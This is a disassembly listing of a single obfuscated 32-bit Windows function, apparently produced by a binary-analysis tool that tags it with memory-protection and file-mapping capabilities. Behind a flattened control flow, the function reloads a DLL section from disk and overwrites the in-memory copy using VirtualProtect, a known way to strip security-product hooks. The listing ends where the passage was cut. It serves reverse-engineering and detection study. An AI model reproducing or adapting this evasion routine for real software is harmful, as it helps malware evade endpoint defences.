Function at 0x100011b0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x88
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x1006b800]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
sub edx, 0xf0bf7685
sub edx, 1
add edx, 0xf0bf7685
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x82], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0x88], 0xea2578bb
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x90], eax
sub eax, 0x81d4a895
je 0x10001e73
jmp 0x10001233
mov eax, dword [ebp - 0x90]
sub eax, 0x8514aa48
je 0x10001b61
jmp 0x10001249
mov eax, dword [ebp - 0x90]
sub eax, 0x863d4475
je 0x100027ea
jmp 0x1000125f
mov eax, dword [ebp - 0x90]
sub eax, 0x89f7fa51
je 0x100023a1
jmp 0x10001275
mov eax, dword [ebp - 0x90]
sub eax, 0x8ece75c2
je 0x1000219e
jmp 0x1000128b
mov eax, dword [ebp - 0x90]
sub eax, 0x9370ad3c
je 0x10001d7f
jmp 0x100012a1
mov eax, dword [ebp - 0x90]
sub eax, 0x95b1bf48
je 0x10001ecb
jmp 0x100012b7
mov eax, dword [ebp - 0x90]
sub eax, 0x9600753d
je 0x100026f4
jmp 0x100012cd
mov eax, dword [ebp - 0x90]
sub eax, 0x9dc3d2ad
je 0x10001fd8
jmp 0x100012e3
mov eax, dword [ebp - 0x90]
sub eax, 0xab3f5611
je 0x100019c4
jmp 0x100012f9
mov eax, dword [ebp - 0x90]
sub eax, 0xacdc7e59
je 0x10001aeb
jmp 0x1000130f
mov eax, dword [ebp - 0x90]
sub eax, 0xb142b122
je 0x1000277c
jmp 0x10001325
mov eax, dword [ebp - 0x90]
sub eax, 0xbad28090
je 0x10001980
jmp 0x1000133b
mov eax, dword [ebp - 0x90]
sub eax, 0xbe4e150f
je 0x100024c4
jmp 0x10001351
mov eax, dword [ebp - 0x90]
sub eax, 0xc2f878cb
je 0x10001fc9
jmp 0x10001367
mov eax, dword [ebp - 0x90]
sub eax, 0xc8aa2a84
je 0x1000190a
jmp 0x1000137d
mov eax, dword [ebp - 0x90]
sub eax, 0xc8b446ca
je 0x10001d96
jmp 0x10001393
mov eax, dword [ebp - 0x90]
sub eax, 0xd09c3756
je 0x1000199e
jmp 0x100013a9
mov eax, dword [ebp - 0x90]
sub eax, 0xd0de9173
je 0x10001b7f
jmp 0x100013bf
mov eax, dword [ebp - 0x90]
sub eax, 0xd444a1ef
je 0x100018fb
jmp 0x100013d5
mov eax, dword [ebp - 0x90]
sub eax, 0xdb24692e
je 0x100020a9
jmp 0x100013eb
mov eax, dword [ebp - 0x90]
sub eax, 0xdd9ae1a2
je 0x10001d61
jmp 0x10001401
mov eax, dword [ebp - 0x90]
sub eax, 0xdf0a184f
je 0x10002392
jmp 0x10001417
mov eax, dword [ebp - 0x90]
sub eax, 0xe8c2c005
je 0x10001f50
jmp 0x1000142d
mov eax, dword [ebp - 0x90]
sub eax, 0xea14024f
je 0x10001e82
jmp 0x10001443
mov eax, dword [ebp - 0x90]
sub eax, 0xea2578bb
je 0x100017e4
jmp 0x10001459
mov eax, dword [ebp - 0x90]
sub eax, 0xeaa647e5
je 0x10002426
jmp 0x1000146f
mov eax, dword [ebp - 0x90]
sub eax, 0xee3e5eb7
je 0x100027ac
jmp 0x10001485
mov eax, dword [ebp - 0x90]
sub eax, 0xeed3ad58
je 0x10001a7d
jmp 0x1000149b
mov eax, dword [ebp - 0x90]
sub eax, 0xf4f7e7e9
je 0x100023b0
jmp 0x100014b1
mov eax, dword [ebp - 0x90]
sub eax, 0xf91ac7b6
je 0x10001ddf
jmp 0x100014c7
mov eax, dword [ebp - 0x90]
sub eax, 0x13e92f9
je 0x100027d8
jmp 0x100014dd
mov eax, dword [ebp - 0x90]
sub eax, 0x308359e
je 0x10001c93
jmp 0x100014f3
mov eax, dword [ebp - 0x90]
sub eax, 0x43b72de
je 0x1000253a
jmp 0x10001509
mov eax, dword [ebp - 0x90]
sub eax, 0x9f30186
je 0x1000213b
jmp 0x1000151f
mov eax, dword [ebp - 0x90]
sub eax, 0xd0ada61
je 0x10002723
jmp 0x10001535
mov eax, dword [ebp - 0x90]
sub eax, 0x11a43ebc
je 0x1000276d
jmp 0x1000154b
mov eax, dword [ebp - 0x90]
sub eax, 0x154e7797
je 0x1000203b
jmp 0x10001561
mov eax, dword [ebp - 0x90]
sub eax, 0x1796dac1
je 0x100025d0
jmp 0x10001577
mov eax, dword [ebp - 0x90]
sub eax, 0x1dc50dad
je 0x10001b8e
jmp 0x1000158d
mov eax, dword [ebp - 0x90]
sub eax, 0x1f4c2628
je 0x10002677
jmp 0x100015a3
mov eax, dword [ebp - 0x90]
sub eax, 0x2079961e
je 0x1000279a
jmp 0x100015b9
mov eax, dword [ebp - 0x90]
sub eax, 0x2411c04b
je 0x1000214a
jmp 0x100015cf
mov eax, dword [ebp - 0x90]
sub eax, 0x245f7c4c
je 0x100027c1
jmp 0x100015e5
mov eax, dword [ebp - 0x90]
sub eax, 0x2648601f
je 0x10002601
jmp 0x100015fb
mov eax, dword [ebp - 0x90]
sub eax, 0x2fd0b442
je 0x10002705
jmp 0x10001611
mov eax, dword [ebp - 0x90]
sub eax, 0x2fe8c7df
je 0x10001838
jmp 0x10001627
mov eax, dword [ebp - 0x90]
sub eax, 0x3011ec37
je 0x100019ad
jmp 0x1000163d
mov eax, dword [ebp - 0x90]
sub eax, 0x308672de
je 0x10002232
jmp 0x10001653
mov eax, dword [ebp - 0x90]
sub eax, 0x34139413
je 0x100024b5
jmp 0x10001669
mov eax, dword [ebp - 0x90]
sub eax, 0x3a6b3a0d
je 0x1000249c
jmp 0x1000167f
mov eax, dword [ebp - 0x90]
sub eax, 0x3c88f887
je 0x1000280a
jmp 0x10001695
mov eax, dword [ebp - 0x90]
sub eax, 0x44f13b9d
je 0x10002017
jmp 0x100016ab
mov eax, dword [ebp - 0x90]
sub eax, 0x464d7ba7
je 0x10002339
jmp 0x100016c1
mov eax, dword [ebp - 0x90]
sub eax, 0x46e67e95
je 0x100025c1
jmp 0x100016d7
mov eax, dword [ebp - 0x90]
sub eax, 0x4e494304
je 0x10001cc7
jmp 0x100016ed
mov eax, dword [ebp - 0x90]
sub eax, 0x4e5de8f5
je 0x10002714
jmp 0x10001703
mov eax, dword [ebp - 0x90]
sub eax, 0x527c0284
je 0x10001e64
jmp 0x10001719
mov eax, dword [ebp - 0x90]
sub eax, 0x5908f399
je 0x100022cb
jmp 0x1000172f
mov eax, dword [ebp - 0x90]
sub eax, 0x5cdc3ca4
je 0x10001f41
jmp 0x10001745
mov eax, dword [ebp - 0x90]
sub eax, 0x5faa6b79
je 0x100021bc
jmp 0x1000175b
mov eax, dword [ebp - 0x90]
sub eax, 0x66d1475e
je 0x1000248d
jmp 0x10001771
mov eax, dword [ebp - 0x90]
sub eax, 0x6a311057
je 0x10001ff1
jmp 0x10001787
mov eax, dword [ebp - 0x90]
sub eax, 0x7040d7dc
je 0x10001d18
jmp 0x1000179d
mov eax, dword [ebp - 0x90]
sub eax, 0x75395da3
je 0x10001ca2
mov bl, byte [ebp - 0x82]
mov dh, byte [ebp - 0x81]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2fd0b442
mov ecx, 0x2fe8c7df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2fd0b442
mov ecx, 0xd444a1ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0xc8aa2a84
jmp 0x10002814
mov ecx, dword [ebp - 0x8c]
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.1000f9c0
add esp, 0xc
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x88], 0xbad28090
jmp 0x10002814
mov edx, dword [ebp - 0x44]
mov eax, 0xd09c3756
mov ecx, 0x3011ec37
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x9600753d
jmp 0x10002814
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x88], 0xab3f5611
jmp 0x10002814
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x40]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov ecx, 0xffffffff
cmp dword [eax], ecx
sete al
and al, 1
mov byte [ebp - 0x39], al
mov dword [ebp - 0x88], 0xeed3ad58
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4e5de8f5
mov ecx, 0xacdc7e59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
add edx, 0x95cbbdb0
sub edx, 1
sub edx, 0x95cbbdb0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4e5de8f5
mov ecx, 0x8514aa48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dl, byte [ebp - 0x39]
mov eax, 0x1dc50dad
mov ecx, 0xd0de9173
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x9600753d
jmp 0x10002814
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
mov edx, eax
sub edx, 0x86945531
sub edx, 1
add edx, 0x86945531
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0ada61
mov ecx, 0x7905a0ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x75395da3
jmp 0x10002814
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
mov edx, eax
add edx, 0x263cd875
sub edx, 1
sub edx, 0x263cd875
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11a43ebc
mov ecx, 0x7040d7dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11a43ebc
mov ecx, 0xdd9ae1a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dl, byte [ebp - 0x31]
mov eax, 0x9370ad3c
mov ecx, 0xea14024f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x88], 0xc8b446ca
jmp 0x10002814
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb142b122
mov ecx, 0xf91ac7b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x30]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
sub edx, 0xe3108436
sub edx, 1
add edx, 0xe3108436
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb142b122
mov ecx, 0x527c0284
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x81d4a895
jmp 0x10002814
mov dword [ebp - 0x88], 0x9600753d
jmp 0x10002814
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2079961e
mov ecx, 0x95b1bf48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2079961e
mov ecx, 0x5cdc3ca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0xe8c2c005
jmp 0x10002814
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x60]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xf9a35284
add ecx, eax
sub ecx, 0xf9a35284
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov word [eax], 0
mov dword [ebp - 0x88], 0xc2f878cb
jmp 0x10002814
mov dword [ebp - 0x88], 0x9dc3d2ad
jmp 0x10002814
mov eax, dword [ebp - 0x54]
mov ax, word [eax]
mov word [ebp - 0x26], ax
mov dword [ebp - 0x88], 0x6a311057
jmp 0x10002814
mov ax, word [ebp - 0x26]
movzx eax, ax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x88], 0x44f13b9d
jmp 0x10002814
mov ax, word [ebp - 0x1e]
movzx esi, ax
mov edx, dword [ebp - 0x24]
mov eax, 0xbe4e150f
mov ecx, 0x154e7797
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee3e5eb7
mov ecx, 0xdb24692e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
sub eax, 0xaa119da8
add eax, ecx
add eax, 0xaa119da8
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee3e5eb7
mov ecx, 0x9f30186
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x2411c04b
jmp 0x10002814
mov eax, dword [ebp - 0x54]
movzx eax, word [eax]
imul edx, eax, 0x28
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x1001b3b0
call fcn.10011d30
add esp, 8
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x15], al
mov dword [ebp - 0x88], 0x8ece75c2
jmp 0x10002814
mov dl, byte [ebp - 0x15]
mov eax, 0x5faa6b79
mov ecx, 0x89f7fa51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov eax, dword [ebp - 0x4c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x48]
mov byte [eax], cl
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x88], 0x308672de
jmp 0x10002814
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x14]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1000fb20
add esp, 0xc
mov eax, dword [ebp - 0x4c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x70]
mov esi, dword [eax]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub esi, 0x1a7f5bff
add esi, eax
add esi, 0x1a7f5bff
mov eax, dword [ebp - 0x4c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xf], al
mov dword [ebp - 0x88], 0x5908f399
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x245f7c4c
mov ecx, 0x464d7ba7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x48]
mov cl, byte [ebp - 0xf]
mov byte [eax], cl
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
mov edx, eax
add edx, 0xca6d1bc3
sub edx, 1
sub edx, 0xca6d1bc3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x245f7c4c
mov ecx, 0xdf0a184f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x89f7fa51
jmp 0x10002814
mov dword [ebp - 0x88], 0xf4f7e7e9
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
sub edx, 0x3f0cc20
sub edx, 1
add edx, 0x3f0cc20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x13e92f9
mov ecx, 0xeaa647e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x54]
mov ax, word [eax]
sub ax, 0x2124
add ax, 1
add ax, 0x2124
mov word [ebp - 0xe], ax
mov eax, dword [0x1006cb48]
mov ecx, dword [0x1006cb44]
mov edx, eax
add edx, 0x68f4da08
sub edx, 1
sub edx, 0x68f4da08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13e92f9
mov ecx, 0x66d1475e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x3a6b3a0d
jmp 0x10002814
mov eax, dword [ebp - 0x54]
mov cx, word [ebp - 0xe]
mov word [eax], cx
mov dword [ebp - 0x88], 0x34139413
jmp 0x10002814
mov dword [ebp - 0x88], 0x9dc3d2ad
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
sub edx, 0xf686f233
sub edx, 1
add edx, 0xf686f233
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x863d4475
mov ecx, 0x43b72de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
add edx, 0x8cc6ce6e
sub edx, 1
sub edx, 0x8cc6ce6e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x863d4475
mov ecx, 0x46e67e95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov dword [ebp - 0x88], 0x1796dac1
jmp 0x10002814
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x88], 0x2648601f
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
mov edx, ecx
sub edx, 0xc1993672
sub edx, 1
add edx, 0xc1993672
imul ecx, edx
and ecx, 1
